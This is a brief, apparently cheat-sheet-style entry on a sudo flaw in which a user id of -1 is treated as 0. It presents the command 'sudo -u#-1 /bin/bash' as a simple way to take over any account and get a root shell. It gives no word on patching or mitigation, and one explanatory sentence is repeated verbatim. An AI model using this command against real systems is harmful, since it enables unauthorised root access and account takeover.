Last updated 9 months ago
This can be used to take over any user account on the system, simple and straight forward.
CopySudo doesn't check for the existence of the specified user id and executes the with arbitrary user id with the sudo priv -u#-1 returns as 0 which is root's id
Sudo doesn't check for the existence of the specified user id and executes the with arbitrary user id with the sudo priv -u#-1 returns as 0 which is root's id
sudo -u#-1 /bin/bash
